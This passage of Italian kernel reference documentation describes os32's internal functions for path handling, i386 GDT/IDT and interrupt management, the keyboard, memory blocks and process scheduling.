118.5.37 os32: path_fix(9)

NOME

'**`path_fix`**' - semplificazione di un percorso

SINTASSI

```
<kernel/fs.h>
int path_fix (char *path);
```

ARGOMENTI

Argomento	Descrizione
`char *`***path***	Il percorso da semplificare.

DESCRIZIONE

La funzione ***path_fix()*** legge la stringa del percorso ***path*** e la rielabora, semplificandolo. La semplificazione riguarda l'eliminazione di riferimenti inutili alla directory corrente e di indietreggiamenti. Il percorso può essere assoluto o relativo: la funzione non ne cambia l'origine.

VALORE RESTITUITO

La funzione restituisce sempre zero e non è prevista la manifestazione di errori.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/path_fix.c`' [119.5.29]

VEDERE ANCHE

strtok(3) [113.122], *strcmp(3)* [113.108], *strcat(3)* [113.106], *strncat(3)* [113.106], *strncpy(3)* [113.110].

118.5.38 os32: path_full(9)

NOME

'**`path_full`**' - traduzione di un percorso relativo in un percorso assoluto

SINTASSI

```
<kernel/fs.h>
int path_full (const char *path, const char *path_cwd, char *full_path);
```

ARGOMENTI

Argomento	Descrizione
`const char *`***path***	Il percorso relativo alla posizione ***path_cwd***.
`const char *`***path_cwd***	La directory corrente.
`char *`***full_path***	Il luogo in cui scrivere il percorso assoluto.

DESCRIZIONE

La funzione ***path_full()*** ricostruisce un percorso assoluto, mettendolo in memoria a partire da ciò a cui punta ***full_path***.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`EINVAL`	L'insieme degli argomenti non è valido.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/path_full.c`' [119.5.30]

VEDERE ANCHE

strtok(3) [113.122], *strcmp(3)* [113.108], *strcat(3)* [113.106], *strncat(3)* [113.106], *strncpy(3)* [113.110], *path_fix(9)* [118.5.37].

118.5.39 os32: path_inode(9)

NOME

'**`path_inode`**' - caricamento di un inode, partendo dal percorso del file

SINTASSI

```
<kernel/fs.h>
inode_t *path_inode (pid_t pid, const char *path);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`const char *`***path***	Il percorso del file del quale si vuole ottenere l'inode.

DESCRIZIONE

La funzione ***path_inode()*** carica un inode nella tabella degli inode, oppure lo localizza se questo è già caricato, partendo dal percorso di un file. L'operazione è subordinata all'accessibilità del percorso che conduce al file, nel senso che il processo ***pid*** deve avere il permesso di accesso («x») in tutti gli stadi dello stesso.

VALORE RESTITUITO

La funzione restituisce il puntatore all'elemento della tabella degli inode che contiene le informazioni caricate in memoria sull'inode. Se qualcosa non va, restituisce invece il puntatore nullo, aggiornando di conseguenza il contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`ENOENT`	Uno dei componenti del percorso non esiste.
`ENFILE`	Non è possibile allocare un inode ulteriore, perché la tabella è già occupata completamente.
`EIO`	Error di input-output.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/path_inode.c`' [119.5.31]

VEDERE ANCHE

proc_reference(9) [118.14.6], *path_full(9)* [118.5.38], *inode_get(9)* [118.5.15], *inode_put(9)* [118.5.20], *inode_check(9)* [118.5.8], *inode_file_read(9)* [118.5.10].

118.5.40 os32: path_inode_link(9)

NOME

'**`path_inode_link`**' - creazione di un collegamento fisico o di un nuovo file

SINTASSI

```
<kernel/fs.h>
inode_t *path_inode_link (pid_t pid, const char *path,
                          inode_t *inode, mode_t mode);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`const char *`***path***	Il percorso del file per il quale si vuole creare il collegamento fisico.
`inode_t *`***inode***	Puntatore a una voce della tabella degli inode, alla quale si vuole collegare il nuovo file.
`mode_t` ***mode***	Nel caso l'inode non sia stato fornito, dovendo creare un nuovo file, questo parametro richiede il tipo e i permessi del file da creare.

DESCRIZIONE

La funzione ***path_inode_link()*** crea un collegamento fisico con il nome fornito in ***path***, riferito all'inode a cui punta ***inode***. Tuttavia, l'argomento corrispondente al parametro ***inode*** può essere un puntatore nullo, e in tal caso viene creato un file vuoto, allocando contestualmente un nuovo inode, usando l'argomento corrispondente al parametro ***mode*** per il tipo e la modalità dei permessi del nuovo file.

Il processo ***pid*** deve avere i permessi di accesso per tutte le directory che portano al file da collegare o da creare; inoltre, nell'ultima directory ci deve essere anche il permesso di scrittura, dovendo intervenire sulla stessa modificandola.

VALORE RESTITUITO

La funzione restituisce il puntatore all'elemento della tabella degli inode che descrive l'inode collegato o creato. In caso di problemi, restituisce invece il puntatore nullo, aggiornando di conseguenza il contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	L'insieme degli argomenti non è valido: se l'inode è stato indicato, il parametro ***mode*** deve essere nullo; al contrario, se l'inode non è specificato, il parametro ***mode*** deve contenere informazioni valide.
`EPERM`	Non è possibile creare il collegamento di un inode corrispondente a una directory.
`EMLINK`	Non è possibile creare altri collegamenti all'inode, il quale ha già raggiunto la quantità massima.
`EEXIST`	Il file ***path*** esiste già.
`EACCES`	Impossibile accedere al percorso che dovrebbe contenere il file da collegare.
`EROFS`	Il file system è innestato in sola lettura e non si può creare il collegamento.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/path_inode_link.c`' [119.5.32]

VEDERE ANCHE

proc_reference(9) [118.14.6], *path_inode(9)* [118.5.39], *inode_get(9)* [118.5.15], *inode_put(9)* [118.5.20], *inode_save(9)* [118.5.22], *inode_check(9)* [118.5.8], *inode_alloc(9)* [118.5.7], *inode_file_read(9)* [118.5.10], *inode_file_write(9)* [118.5.11].

118.6 os32: ibm_i386(9)

Il file '`kernel/ibm_i386.h`' [119.6] descrive le funzioni e le macro-istruzioni per la gestione dell'hardware e delle interruzioni, secondo l'architettura IBM i386.

La sezione 109.3 descrive complessivamente queste funzioni e le tabelle successive sono tratte da lì.

Tabella 109.27. Funzioni e macro-istruzioni per l'input e l'output con le porte interne x86.

Funzione o macro-istruzione	Descrizione
`uint32_t _in_8 (uint32_t` ***port***`);` `unsigned int in_8 (`***port***`);`	Legge un valore a 8 bit da una porta. Listati 119.6 e 119.6.3.
`uint32_t _in_16 (uint32_t` ***port***`);` `unsigned int in_16 (`***port***`);`	Legge un valore a 16 bit da una porta. Listati 119.6 e 119.6.2.

Funzione o macro-istruzione	Descrizione
`void _out_8 (uint32_t port, uint32_t value);` `void out_8 (port, value);`	Scrive un valore a 8 bit in una porta. Listati 119.6 e 119.6.6.
`void _out_16 (uint32_t port, uint32_t value);` `void out_16 (port, value);`	Scrive un valore a 16 bit in una porta. Listati 119.6 e 119.6.5.

Tabella 109.28. Funzioni accessorie per il controllo delle interruzioni hardware.

Funzione o macro-istruzione	Descrizione
`void cli (void);`	Disabilita le interruzioni hardware attraverso l'azzeramento dell'indicatore relativo nel registro EFLAGS. Listati 119.6 e 119.6.7.
`void sti (void);`	Abilita le interruzioni hardware attraverso l'attivazione dell'indicatore relativo nel registro EFLAGS. Listati 119.6 e 119.6.27.
`void irq_on (unsigned int irq);`	Abilita selettivamente l'interruzione hardware indicata per numero (da zero a 16). Listati 119.6 e 119.6.20.
`void irq_off (unsigned int irq);`	Disabilita selettivamente l'interruzione hardware indicata per numero (da zero a 16). Listati 119.6 e 119.6.19.

Tabella 109.31. Funzioni per la gestione della tabella GDT.

Funzione	Descrizione

`void gdt_segment (int segment,`
`uint32_t base,`
`uint32_t limit,`
`bool present,`
`bool code,`
`unsigned char dpl);`
	Scrive una voce della tabella GDT, sezionando e ricomponendo i dati come richiesto dal microprocessore.
	Listato 119.6.12.

`void gdt (void);`	Predispone e attiva la tabella GDT; per questo si avvale in modo particolare delle funzioni ***gdt_segment()*** e di ***gdt_load()***. Listato 119.6.8.
`void gdt_load (void *gdtr);`	Fa sì che il microprocessore carichi la tabella GDT, a partire dal puntatore al registro GDTR; registro che contiene l'informazione della collocazione in memoria della tabella GDT e della sua estensione. Listato 119.6.9.

`void gdt_print (void *gdtr,`
`unsigned int first`
`unsigned int last);`
	Funzione diagnostica, usata per visualizzare il contenuto della tabella GDT in binario.
	Listato 119.6.10.

Tabella 109.34. Funzioni per la gestione della tabella IDT.

Funzione	Descrizione

`void idt_descriptor (int` ***desc***`,`
`void *`***isr***`,`
`uint16_t` ***selector***`,`
`bool` ***present***`,`
`char` ***type***`,`
`char` ***dpl***`);`
	Scrive una voce della tabella IDT, sezionando e ricomponendo i dati come richiesto dal microprocessore.
	Listato 119.6.14.

`void idt (void);`	Predispone e attiva la tabella IDT; per questo si avvale in modo particolare delle funzioni ***idt_descriptor()*** e di ***idt_load()***. Listato 119.6.13.
`void idt_load (void *`***idtr***`);`	Fa sì che il microprocessore carichi la tabella IDT, a partire dal puntatore al registro IDTR; registro che contiene l'informazione della collocazione in memoria della tabella IDT e della sua estensione. Listato 119.6.16.
`void idt_irq_remap (unsigned int` ***offset_1***`,` `unsigned int` ***offset_2***`);`	Modifica la mappatura delle interruzioni hardware (IRQ) spostando il primo gruppo a partire dal valore di ***offset_1*** e il secondo gruppo a partire da ***offset_2***. Listato 119.6.15.

`void idt_print (void *`***idtr***`,`
`unsigned int` ***first***
`unsigned int` ***last***`);`
	Funzione diagnostica, usata per visualizzare il contenuto della tabella IDT in binario.
	Listato 119.6.17.

Tabella 109.36. Funzioni per la gestione delle interruzioni.

Funzione	Descrizione
`void isr_`***n*** `(void);`	Si tratta di procedure attivate dalle interruzioni, dove per esempio ***isr_33()*** viene eseguita a seguito del verificarsi dell'interruzione numero 33, la quale ha origine da IRQ 1, ovvero dalla tastiera. L'indicazione di quale procedura attivare per ogni interruzione dipende dalla configurazione della tabella IDT. Listato 119.6.21.

Funzione	Descrizione

`void`
`isr_exception_unrecoverable (uint32_t` ***eax*** `,`
`uint32_t` ***ecx*** `,`
`uint32_t` ***edx*** `,`
`uint32_t` ***ebx*** `,`
`uint32_t` ***ebp*** `,`
`uint32_t` ***esi*** `,`
`uint32_t` ***edi*** `,`
`uint32_t` ***ds*** `,`
`uint32_t` ***es*** `,`
`uint32_t` ***fs*** `,`
`uint32_t` ***gs*** `,`
`uint32_t` ***interrupt*** `,`
`uint32_t` ***error*** `,`
`uint32_t` ***eip*** `,`
`uint32_t` ***cs*** `,`
`uint32_t` ***eflags*** `);`
	Questa funzione viene usata all'interno del file '`isr.s`' per segnalare il verificarsi di un'eccezione non risolvibile, come nel caso di una divisione per zero. Pertanto, la funzione ha soprattutto un significato diagnostico.
	Listato 119.6.23.

`char` `*isr_exception_name (int` ***exception*** `);`	Restituisce il puntatore alla stringa contenente il nome dell'eccezione corrispondente al numero di interruzione fornito. Viene usata da ***isr_exception_unrecoverable()*** per dare delle indicazioni comprensibili sull'eccezione che si è verificata. Listato 119.6.22.
`void isr_irq_clear (uint32_t` ***idtn*** `);`	Avvisa il PIC (*programmable interrupt controller*) che l'interruzione hardware emessa è stata recepita e se ne possono ricevere altre. Tuttavia, essendoci due PIC, la funzione stabilisce quale dei due è coinvolto direttamente e di conseguenza come procedere. Listato 119.6.24.
`void isr_irq_clear_pic1 (void);`	Avvisa il PIC1 che l'interruzione hardware emessa è stata recepita e se ne possono ricevere altre. Listato 119.6.25.
`void isr_irq_clear_pic2 (void);`	Avvisa il PIC2 che l'interruzione hardware emessa è stata recepita e se ne possono ricevere altre. Listato 119.6.26.

118.7 os32: kbd(9)

Il file '`kernel/driver/kbd.h`' [119.4.15] descrive le funzioni per la gestione della tastiera, in relazione alla gestione complessiva dei terminali virtuali.

Per la descrizione dell'organizzazione della gestione della tastiera di os32, si rimanda alla sezione 109.7.5.1. La tabella successiva che sintetizza l'uso delle funzioni di questo gruppo, è tratta da lì.

Tabella 109.86. Funzioni per la gestione della tastiera, dichiarate nel file di intestazione ‘kernel/driver/kbd.h’ e descritte nei file contenuti nella directory ‘kernel/driver/kbd/’.

Funzione	Descrizione
`void kbd_isr (void);`	Questa funzione è chiamata dalla routine di gestione delle interruzioni da tastiera, contenuta nel file ‘kernel/ibm_i386/isr.s’. La funzione legge un carattere dalla porta di I/O 60_{16}, quindi lo interpreta e aggiorna il contenuto della variabile strutturata ***kbd*** di conseguenza.
`void kbd_load (void);`	Questa funzione è chiamata una sola volta da ***kmain()***, per associare la mappa della tastiera ai codici prodotti dalla stessa. Attualmente questa funzione produce esclusivamente l'associazione necessaria per una tastiera italiana.

118.8 os32: lib_k(9)

Il file ‘kernel/lib_k.h’ [119.7] descrive alcune funzioni con nomi che iniziano per ‘**k_**...’ (dove la lettera «k» sta per kernel) e riproducono il comportamento di funzioni standard, della libreria C. Per esempio, ***k_printf()*** è l'equivalente di ***printf()***, ma per la gestione interna del kernel.

Teoricamente, quando una funzione interna al kernel può ricondursi allo standard, dovrebbe avere il nome previsto. Tuttavia, per evitare di dover qualificare ogni volta l'ambito di una funzione, sono stati usati nomi differenti, ciò anche al fine di non creare complicazioni in fase di compilazione di tutto il sistema.

118.9 os32: lib_s(9)

Il file ‘kernel/lib_s.h’ [119.8] descrive alcune funzioni con nomi che iniziano per ‘**s_**...’ (dove la lettera «s» sta per sistema) e servono a realizzare le chiamate di sistema, all'interno del kernel. Per esempio, la funzione ***s__exit()*** realizza la funzione ***_exit()***. Il prototipo delle funzioni ***s_...()*** è lo stesso di quelle a cui si riferiscono, con l'aggiunta iniziale del numero del processo da cui ha origine la chiamata di sistema.

VEDERE ANCHE

sysroutine(9) [118.14.27], *brk(2)* [112.3], *chdir(2)* [112.4], *chmod(2)* [112.5], *chown(2)* [112.6], *clock(2)* [112.7], *close(2)* [112.8], *dup2(2)* [112.9], *dup(2)* [112.9], *_exit(2)* [112.2], *fchmod(2)* [112.5], *fchown(2)* [112.6], *fcntl(2)* [112.15], *fork(2)* [112.16], *fstat(2)* [112.45], *kill(2)* [112.25], *link(2)* [112.26], *longjmp(2)* [112.40], *lseek(2)* [112.28], *mkdir(2)* [112.29], *mknod(2)* [112.30], *mount(2)* [112.31], *open(2)* [112.32], *pipe(2)* [112.33], *read(2)* [112.34], *sbrk(2)* [112.3], *setegid(2)* [112.39], *seteuid(2)* [112.42], *setgid(2)* [112.39], *setjmp(2)* [112.40], *setuid(2)* [112.42], *signal(2)* [112.43], *stat(2)* [112.45], *stime(2)* [112.49], *tcgetattr(2)* [112.48], *tcsetattr(2)* [112.48], *time(2)* [112.49], *umount(2)* [112.31], *unlink(2)* [112.52], *wait(2)* [112.53], *write(2)* [112.54].

118.10 os32: main(9)

Il file '`kernel/main.h`' [119.9] descrive la funzione ***kmain()*** del kernel e altre funzioni accessorie, assieme al codice iniziale necessario per mettere in funzione il kernel stesso.

Si rimanda alla sezione 109.2 che descrive dettagliatamente il codice iniziale del kernel.

118.11 os32: memory(9)

Il file '`kernel/memory.h`' [119.10] descrive le funzioni per la gestione della memoria, a livello di sistema.

Per la descrizione dell'organizzazione della gestione della memoria si rimanda alla sezione 109.6. Le tabelle successive che sintetizzano l'uso delle funzioni di questo gruppo, sono tratte da quel capitolo.

Tabella 109.76. Funzioni per la gestione della mappa della memoria, dichiarate nel file di intestazione '`kernel/memory.h`' e realizzate nella directory '`kernel/memory/`'.

Funzione	Descrizione
`uint32_t *mb_reference (void);`	Restituisce il puntatore alla tabella dei blocchi di memoria, per uniformare l'accesso alla tabella dalle funzioni che non fanno parte del gruppo contenuto nella directory '`kernel/memory/`'.
`ssize_t mb_alloc (addr_t` ***address***`, size_t` ***size***`);`	Alloca la memoria a partire dall'indirizzo indicato, per la quantità di byte richiesta. L'allocazione ha termine anticipatamente se si incontra un blocco già utilizzato. La funzione restituisce la dimensione allocata effettivamente.
`void mb_free (addr_t` ***address***`, size_t` ***size***`);`	Libera la memoria a partire dall'indirizzo indicato, per la quantità di byte richiesta. Lo spazio viene liberato in ogni caso, anche se risulta già libero; tuttavia viene prodotto un avvertimento a video se si verifica tale ipotesi.
`int mb_reduce (addr_t` ***address***`, size_t` ***new***`, size_t` ***previous***`);`	Riduce un'area di memoria già utilizzata. Restituisce zero se l'operazione si conclude con successo, oppure −1 in caso contrario, aggiornando la variabile ***errno*** di conseguenza.
`void mb_clean (addr_t` ***address***`, size_t` ***size***`);`	Azzera l'area di memoria specificata.
`addr_t mb_alloc_size (size_t` ***size***`);`	Alloca un'area di memoria della dimensione richiesta, restituendone l'indirizzo. La funzione conclude con successo il proprio lavoro se il valore restituito è diverso da zero; se invece l'indirizzo ottenuto è pari a zero si è verificato un errore che può essere verificato analizzando il contenuto della variabile ***errno***.
`void mb_size (size_t` ***size***`);`	Questa funzione, usata una sola volta all'interno di ***kmain()***, serve a definire la dimensione massima della memoria disponibile in blocchi. In pratica, le si fornisce la dimensione effettiva della memoria che viene così divisa per la dimensione del blocco, ignorando il resto. Questa informazione viene conservata nella variabile ***mb_max***.

Funzione	Descrizione
`void mb_print (void);`	Funzione diagnostica che visualizza gli intervalli di memoria utilizzati, esprimendoli però in blocchi.

118.12 os32: multiboot(9)

Il file '`kernel/multiboot.h`' [119.11] descrive una funzione e un tipo derivato per il trattamento delle informazioni multiboot.

Per la descrizione della gestione delle informazioni multiboot da parte di os32, si rimanda alla sezione 109.2.1.

118.13 os32: part(9)

Il file '`kernel/part.h`' [119.12] descrive la struttura '**`part_t`**' e delle macro-variabili per la gestione delle partizioni. Solo la funzione ***dm_init()*** si avvale di questo file di intestazione.

118.14 os32: proc(9)

Il file '`kernel/proc.h`' [119.13] descrive ciò che serve per la gestione dei processi. In modo particolare, in questo file si definisce il tipo derivato '**`proc_t`**', con cui si realizza la tabella dei processi.

Si veda in particolare la spiegazione contenuta nella sezione 109.4 al riguardo della gestione dei processi.

118.14.1 os32: proc_available(9)

NOME

'**`proc_available`**' - inizializzazione di un processo libero

SINTASSI

```
<kernel/proc.h>
void proc_available (pid_t pid);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo da inizializzare.

DESCRIZIONE

La funzione ***proc_available()*** si limita a inizializzare, con valori appropriati, i dati di un processo nella tabella relativa, in modo che risulti correttamente uno spazio libero per le allocazioni successive.

Questa funzione viene usata da *proc_init(9)* [118.14.3], *proc_sig_chld(9)* [118.14.11], *s_wait(9)* [118.9].

FILE SORGENTI

'kernel/proc.h' [119.13]

'kernel/proc/proc_public.c' [119.13.6]

'kernel/proc/proc_available.c' [119.13.1]

118.14.2 os32: proc_dump_memory(9)

NOME

'**proc_dump_memory**' - copia di una porzione di memoria in un file

SINTASSI

```
<kernel/proc.h>
void proc_dump_memory (pid_t pid, addr_t address, size_t size,
                       char *name);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`addr_t` ***address***	Indirizzo efficace della memoria.
`size_t` ***size***	Quantità di byte da trascrivere, a partire dall'indirizzo efficace.
`char *`***name***	Nome del file da creare.

DESCRIZIONE

La funzione ***proc_dump_memory()*** salva in un file una porzione di memoria, secondo le coordinate fornita dagli argomenti.

Viene usata esclusivamente da *proc_sig_core(9)* [118.14.3], quando si riceve un segnale per cui è necessario scaricare la memoria di un processo. In quel caso, se il processo eliminato ha i permessi per scrivere nella directory radice, vengono creati due file: uno con l'immagine del segmento codice ('/core.i') e l'altro con l'immagine del segmento dati ('/core.d').

FILE SORGENTI

'kernel/proc.h' [119.13]

'kernel/proc/proc_sig_core.c' [119.13.14]

118.14.3 os32: proc_init(9)

NOME

'`proc_init`' - inizializzazione della gestione complessiva dei processi elaborativi

SINTASSI

```
<kernel/proc.h>
extern uint32_t _k_start;
extern uint32_t _k_end;
extern uint32_t _k_text_end;
extern uint32_t _k_data_end;
extern uint32_t _k_bss_end;
extern uint32_t _k_stack_top;
extern uint32_t _k_stack_bottom;
void proc_init (void);
```

ARGOMENTI

Argomento	Descrizione
`extern uint32_t` ***_k_start*;**	La variabile ***_k_start*** viene fornita dal file di configurazione '`kernel.ld`' e rappresenta l'indirizzo iniziale del kernel.
`extern uint32_t` ***_k_end*;**	La variabile ***_k_end*** viene fornita dal file di configurazione '`kernel.ld`' e rappresenta l'indirizzo finale del kernel, dati e pila inclusi.
`extern uint32_t` ***_k_text_end*;**	La variabile ***_k_text_end*** viene fornita dal file di configurazione '`kernel.ld`' e rappresenta l'indirizzo finale del codice del kernel.
`extern uint32_t` ***_k_data_end*;**	La variabile ***_k_data_end*** viene fornita dal file di configurazione '`kernel.ld`' e rappresenta l'indirizzo finale dei dati kernel, esclusa però l'area BSS e la pila.
`extern uint32_t` ***_k_bss_end*;**	La variabile ***_k_bss_end*** viene fornita dal file di configurazione '`kernel.ld`' e rappresenta l'indirizzo finale dell'area BSS del kernel, ma coincide con ***_k_end***.
`extern uint32_t` ***_k_stack_top*;**	La variabile ***_k_stack_top*** viene fornita dal file '`kernel/main/stack.s`' e rappresenta l'indirizzo iniziale della pila dei dati del kernel.
`extern uint32_t` ***_k_stack_bottom*;**	La variabile ***_k_stack_bottom*** viene fornita dal file '`kernel/main/stack.s`' e rappresenta l'indirizzo finale della pila dei dati del kernel.

DESCRIZIONE

La funzione ***proc_init()*** viene usata una volta sola, dalla funzione *kmain(9)* [118.10], per predisporre la gestione dei processi. Per la precisione si occupa di:

- predisporre la tabella GDT, attraverso la chiamata della funzione ***gdt()***;
- impostare il temporizzatore in modo da fornire impulsi alla frequenza dichiarata nella macro-variabile ***CLOCKS_PER_SEC***, pari a 100 Hz;
- predisporre la tabella IDT, attraverso la chiamata della funzione ***idt()***;

- azzerare la tabella dei processi, inserendovi però i dati relativi al kernel (il processo zero);
- allocare la memoria già utilizzata dal kernel;
- attivare selettivamente le interruzioni hardware desiderate;
- attivare la gestione delle unità PATA;
- innestare il file system principale.

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_public.c`' [119.13.6]

'`kernel/proc/proc_init.c`' [119.13.3]

VEDERE ANCHE

proc_available(9) [118.14.1], *sb_mount(9)* [118.5.27].

118.14.4 os32: proc_offset_data_to_pointer(9)

NOME

'**`proc_offset_data_to_pointer`**' - traduzione di un indirizzo relativo alla zona dati di un processo, in un puntatore per la memoria vista dal kernel

SINTASSI

```
<kernel/proc.h>
void *proc_offset_data_to_pointer (pid_t pid, addr_t addr_data)
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo a cui si riferisce la zona dati in questione.
`addr_t` ***addr_data***	L'indirizzo valido nella zona dati del processo, durante il suo funzionamento.

DESCRIZIONE

La funzione ***proc_offset_data_to_pointer()*** calcola un puntatore equivalente all'indirizzo di memoria dati fornito. La difficoltà di questo calcolo deriva dal fatto che occorre conoscere dove si colloca la zona dati del processo nella memoria, dal punto di vista del kernel, anche in considerazione del fatto che il processo può condividere la zona dati con la zona codice, o meno.

VALORE RESTITUITO

La funzione restituisce il puntatore generico corrispondente, dal punto di vista del processo corrispondente al kernel.

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_public.c`' [119.13.6]

'`kernel/proc/proc_offset_data_to_pointer.c`' [119.13.4]

118.14.5 os32: proc_print(9)

NOME

'**`proc_print`**' - visualizzazione diagnostica dei in corso

SINTASSI

```
<kernel/proc.h>
void proc_print (void);
```

DESCRIZIONE

La funzione ***proc_print()*** visualizza sinteticamente i processi in corso, per fini diagnostici. Viene usata nella funzione ***kmain()***, quando il kernel è in modalità di funzionamento interattivo.

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_print.c`' [119.13.5]

118.14.6 os32: proc_reference(9)

NOME

'**`proc_reference`**' - puntatore alla voce che rappresenta un certo processo

SINTASSI

```
<kernel/proc.h>
proc_t *proc_reference (pid_t pid);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo cercato nella tabella relativa.

DESCRIZIONE

La funzione ***proc_reference()*** serve a produrre il puntatore all'elemento dell'array ***proc_table[]*** che contiene i dati del processo indicato per numero come argomento.

Viene usata dalle funzioni che non fanno parte del gruppo di '`kernel/proc.h`'.

VALORE RESTITUITO

Restituisce il puntatore all'elemento della tabella ***proc_table[]*** che rappresenta il processo richiesto. Se il numero del processo richiesto non può esistere, la funzione restituisce il puntatore nullo '**`NULL`**'.

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_public.c`' [119.13.6]

'`kernel/proc/proc_reference.c`' [119.13.7]

118.14.7 os32: proc_sch_signals(9)

NOME

'**`proc_sch_signals`**' - verifica dei segnali dei processi

SINTASSI

```
<kernel/proc.h>
void proc_sch_signals (void);
```

DESCRIZIONE

La funzione ***proc_sch_signals()*** ha il compito di scandire tutti i processi della tabella ***proc_table[]***, per verificare lo stato di attivazione dei segnali e procedere di conseguenza.

Dal punto di vista pratico, la funzione si limita a scandire i numeri PID possibili, demandando ad altre funzioni il compito di fare qualcosa nel caso fosse attivato l'indicatore di un segnale.

Questa funzione viene usata soltanto da *proc_scheduler(9)* [118.14.10], ogni volta che ci si prepara allo scambio con un altro processo.

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_scheduler.c`' [119.13.11]

'`kernel/proc/proc_sch_signals.c`' [119.13.8]

VEDERE ANCHE

proc_sig_term(9) [118.14.20], *proc_sig_core(9)* [118.14.13], *proc_sig_chld(9)* [118.14.11], *proc_sig_cont(9)* [118.14.12], *proc_sig_stop(9)* [118.14.19].

118.14.8 os32: proc_sch_terminals(9)

NOME

'**proc_sch_terminals**' - acquisizione di un carattere dal terminale attivo

SINTASSI

```
<kernel/proc.h>
void proc_sch_terminals (void);
```

DESCRIZIONE

La funzione ***proc_sch_terminals()*** ha il compito di verificare la presenza di un carattere digitato dalla console. Se c'è effettivamente un carattere digitato, dopo aver determinato a quale terminale virtuale si riferisce, lo accumula nella sua riga di inserimento.

Successivamente verifica se quel terminale virtuale è associato a un gruppo di processi; se è così e se il carattere corrisponde a ***VINTR*** (di norma si tratta di ciò che viene prodotto dalla combinazione di tasti [*Ctrl c*]), invia il segnale SIGINT al processo più interno del gruppo, il quale dovrebbe corrispondere presumibilmente a quello in primo piano.

Indipendentemente dal fatto che il terminale appartenga a un gruppo di processi, controlla che il carattere inserito sia stato ottenuto, rispettivamente, con le combinazioni di tasti [*Ctrl q*], [*Ctrl r*], [*Ctrl s*] e [*Ctrl t*], nel qual caso attiva la console virtuale relativa (dalla prima alla quarta), evitando di accumulare il carattere.

Se il carattere ricevuto è tale da fare intendere la conclusione di un inserimento (per esempio il carattere *<NL>*, prodotto dalla pressione di [*Invio*]), la funzione scandisce tutti i processi sospesi in attesa di input dal terminale, risvegliandoli (ogni processo deve poi verificare se effettivamente c'è qualcosa da trarre dal terminale per sé oppure no, e se non c'è dovrebbe rimettersi in attesa).

Questa funzione viene usata soltanto da *proc_scheduler(9)* [118.14.10], ogni volta che ci si prepara allo scambio con un altro processo.

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_scheduler.c`' [119.13.11]

'`kernel/proc/proc_sch_terminals.c`' [119.13.9]

118.14.9 os32: proc_sch_timers(9)

NOME

'**proc_sch_timers**' - verifica dell'incremento del contatore del tempo

SINTASSI

```
<kernel/proc.h>
void proc_sch_timers (void);
```

DESCRIZIONE

La funzione ***proc_sch_timers()*** verifica che il calendario si sia incrementato di almeno una unità temporale (per os32 è un secondo soltanto) e se è così, va a risvegliare tutti i processi sospesi in attesa del passaggio di un certo tempo. Tali processi, una volta messi effettivamente in funzione, devono verificare che sia trascorsa effettivamente la quantità di tempo desiderata, altrimenti devono rimettersi a riposo in attesa del tempo rimanente.

Questa funzione viene usata soltanto da *proc_scheduler(9)* [118.14.10], ogni volta che ci si prepara allo scambio con un altro processo.

FILE SORGENTI

'`kernel/proc.h`' [119.13]

'`kernel/proc/proc_scheduler.c`' [119.13.11]

'`kernel/proc/proc_sch_timers.c`' [119.13.10]

118.14.10 os32: proc_scheduler(9)

NOME

'**`proc_scheduler`**' - schedulatore

SINTASSI

```
<kernel/proc.h>
extern uint32_t _ksp;
extern uint32_t proc_stack_pointer;
extern uint16_t proc_stack_segment_selector;
extern pid_t    proc_current;
void proc_scheduler (void);
```

ARGOMENTI

Argomento	Descrizione
`extern uint32_t` ***_ksp*** ;	La variabile ***_ksp*** contiene l'indice della pila del kernel.
`extern uint32_t` ***proc_stack_pointer*** ;	La variabile ***proc_stack_pointer*** contiene l'indice della pila del processo interrotto, dal punto di vista del segmento dati del processo stesso.
`extern uint16_t` ***proc_stack_segment_selector*** ;	La variabile ***proc_stack_segment_selector*** contiene il valore del registro ***SS*** (*stack segment*) relativo al processo sospeso.
`extern pid_t` ***proc_current*** ;	La variabile ***proc_current*** contiene il numero del processo corrente, appena sospeso.

DESCRIZIONE

La funzione ***proc_scheduler()*** viene avviata a seguito di un'interruzione hardware, dovuta al temporizzatore, oppure a seguito di un'interruzione software, dovuta a una chiamata di sistema.

La prima cosa che fa la funzione consiste nel verificare che il valore dell'indice della pila del processo interrotto non superi lo spazio disponibile per la pila stessa. Diversamente

il processo viene eliminato forzatamente, con una segnalazione adeguata sul terminale attivo. Si ottiene comunque una segnalazione se l'indice si avvicina pericolosamente al limite.

Successivamente la funzione svolge delle operazioni che riguardano tutti i processi: aggiorna i contatori dei processi che attendono lo scadere di un certo tempo; verifica la presenza di segnali e predispone le azioni relative; raccoglie l'input dai terminali. Quindi aggiorna il tempo di utilizzo della CPU del processo appena interrotto.

